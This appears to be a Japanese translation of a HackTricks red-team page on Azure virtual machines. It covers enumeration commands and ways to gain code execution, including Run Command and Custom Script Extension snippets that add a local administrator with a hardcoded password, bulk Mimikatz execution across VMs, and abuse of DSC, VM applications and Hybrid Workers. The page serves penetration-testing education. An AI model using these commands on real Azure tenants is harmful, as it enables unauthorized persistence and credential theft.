Az - Virtual Machines & Network

htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ

HackTricks をサポートする他の方法:

基本情報

ドキュメントから: Azure 仮想マシンは、Azure が提供するオンデマンドでスケーラブルなコンピューティングリソースのいくつかのタイプの1つです。通常、他の選択肢よりもコンピューティング環境をより細かく制御する必要がある場合に仮想マシンを選択します。この記事では、仮想マシンを作成する前に考慮すべき事項、作成方法、および管理方法についての情報を提供します。

Azureネットワーク情報

Azureネットワークには異なるエンティティと構成方法が含まれています。異なるAzureネットワークエンティティの簡単な説明、および列挙コマンドを以下で見つけることができます:

pageAz - Azure Network

Azure Bastion

Azure Bastionは、Azureポータルを介してSSL経由で完全に管理されたRDP(リモートデスクトッププロトコル)およびSSH(セキュアシェル)アクセスソリューションを提供します。これはAzure仮想ネットワーク内に統合されており、プライベートIPを使用してVMにRDPおよびSSH接続を許可し、パブリックIPの必要性を回避します。これにより、VMアクセスのためのパブリックIPの割り当てやNSGルールの構成を必要とする従来の方法に比べて、より安全で便利な代替手段となります。開発者やITスタッフは、Webブラウザを使用してAzureポータルからVMに安全にアクセスでき、開発およびテスト環境のプロセスを効率化できます。

サブスクリプション内のすべてのAzure Bastionホストをリストするには、次のコマンドを使用できます:

az network bastion list --query "[].{name:name, resourceGroup:resourceGrou, location:location}" -o table
# Get readable VMs
Get-AzVM | fl
# Lis running VMs
Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | fl *
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | select -ExpandProperty NetworkProfile

# Get iface and IP address
Get-AzNetworkInterface -Name <interface_name>
Get-AzPublicIpAddress -Name <iface_public_ip_id>

#Get installed extensions
Get-AzVMExtension -ResourceGroupName <res_group_name> -VMName <name>

Get-AzVM | select -ExpandProperty NetworkProfile # Get name of network connector of VM
Get-AzNetworkInterface -Name <name> # Get info of network connector (like IP)

VMでコマンドを実行する

VMでのAADログイン

AzureADを経由して認証されたユーザーにアクセスを許可することが可能です。たとえば、Linux VM にアクセスしようとする場合: ssh username@azure-corp.com@1.1.1.1(ログインしようとしているときに使用したazurecorpのメールを使用することが重要です)エラーが発生する可能性があります:

(username@azure-corp.com@1.1.1.1) This preview capability is not for production use. When you sign in, verify the name of the app on the sign-in screen is "Azure Linux VM Sign-in" and the IP address of the target VM is correct.

To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code DT4PNSTGR to authenticate. Press ENTER when ready.

単にこれらの手順に従ってhttps://microsoft.com/devicelogin に移動し、コードを指定し、メールアドレスとパスワードを資格情報として使用して、SSH経由で接続できます(そのユーザーがそのようにするための十分な権限を持っている場合:Virtual Machine Administrator LoginまたはVirtual Machine User Loginロール)。

Run Command

# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action
Invoke-AzVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose
## Another way
Invoke-AzureRmVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose

# Content of the script
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
New-LocalUser -Name new_user -Password $passwd
Add-LocalGroupMember -Group Administrators -Member new_user
# Try to run in every machine
Import-module MicroBurst.psm1
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt

カスタムスクリプト拡張機能の実行

Azure仮想マシン(VM)拡張機能は、Azure VM上でのポストデプロイメント構成および自動化タスクを提供する小さなアプリケーションです。たとえば、仮想マシンにソフトウェアのインストール、ウイルス対策、またはスクリプトの実行が必要な場合、VM拡張機能を使用できます。

したがって、書き込みアクセス権がある場合、任意のコードを実行できます:

# Microsoft.Compute/virtualMachines/extensions/write
Set-AzVMExtension -ResourceGroupName "Research" -ExtensionName "ExecCmd" -VMName "infradminsrv" -Location "Germany West Central" -Publisher Microsoft.Compute -ExtensionType CustomScriptExtension -TypeHandlerVersion 1.8 -SettingString '{"commandToExecute":"powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add"}'

DesiredConfigurationState (DSC)

DesiredConfigurationState (DSC)は、コードを介してホストを設定するために使用されるAnsibleに類似したPowerShellツールです。DSCはAzureと統合されており、特定の構成ファイルをアップロードできます。これらのファイルは厳密な構文に従う必要があります。特筆すべきは、AzureのDSC拡張機能は、DSCの標準に合致しないファイルからコマンドを実行できますが、提供された図に示されているように、構文がDSCの基準に合致しなくてもコマンドを実行できます。

これらのコマンドの実行は、Az PowerShellのPublish-AzVMDscConfiguration関数によって容易に行われます。要件には、定義された関数を持つ**.PS1ファイルと、.zip**ファイルに圧縮する必要があります。DSCの構文が正確でなくてもコードは実行されます。ただし、拡張機能は実行ステータスを「失敗」とマークし、ステータスが失敗メッセージによって上書きされるため、コマンドからの出力は表示されません。

VM Application Definitions

VM Application Definitionsを使用すると、バージョン管理されたアプリケーションをAzure VMに繰り返し展開できます。このリソースは、複数のVMにわたるアプリケーションの展開と更新をサポートします。これを設定するには、Az PowerShellの**New-AzGalleryApplicationNew-AzGalleryApplicationVersion**などのコマンドを使用するいくつかのステップが必要です。

この方法でアプリケーションやコマンドを実行する際には、**"VMAppExtension"**が関与します。この拡張機能は、アプリケーションがVMに適用されると自動的にインストールされます。拡張機能は、指定されたURIからファイルを取得し、アプリケーションと同じ名前で拡張子なしで保存します。ファイルを正しく実行するには、REST API呼び出しの「ManageActions」フィールドを構成して、ファイルを適切な拡張子でリネームする必要があります。この方法の設定が完了すると、提供された図に示されている構造に似ています。

ただし、この実行方法は比較的遅く、アプリケーションやコマンドを実行するのに約3〜4分かかります。このプロセスに関連するファイルは、アプリケーションのコピー用の特定のディレクトリ(C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Downloads\)および実行ステータス用のディレクトリ(C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Status\)に保存されます。

両方のテクニックは、Azure環境でコマンドを実行したりアプリケーションを展開したりするための独自の要件、ステップ、および考慮事項を持っており、それぞれ固有の方法を提供しています。

AzureのHybrid Worker Groups (HWGs)

Hybrid Worker Groups (HWGs)は、Azureの機能であり、Automation Accountで構成されたRunbookを指定されたHWGの一部であるAzure仮想マシン(VM)で実行できるようにします。この実行は、VMにインストールされた拡張機能によって行われ、RunbookコードがVMに展開されます。このプロセスの重要な側面は、実際の資格情報が実行に影響を与えないことです。なぜなら、コードは特にSYSTEMまたはrootとして昇格権限で実行されるからです。提供された図に示されているように。

Windows 10 VMを利用するユーザーにとって重要な詳細は、RunbookのPowerShellバージョンを指定する必要があることです。これは、PowerShell 7.1がこれらのVMにデフォルトでインストールされていないため、バージョン7.1を指定するとスクリプトの実行が失敗するためです。

Azureのこの機能は、ハイブリッド環境全体でのタスクの自動化と管理に堅牢な方法を提供し、Azure VM上でのタスクの集中管理と実行を可能にします。

参考文献

htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学びましょう

HackTricksをサポートする他の方法:

最終更新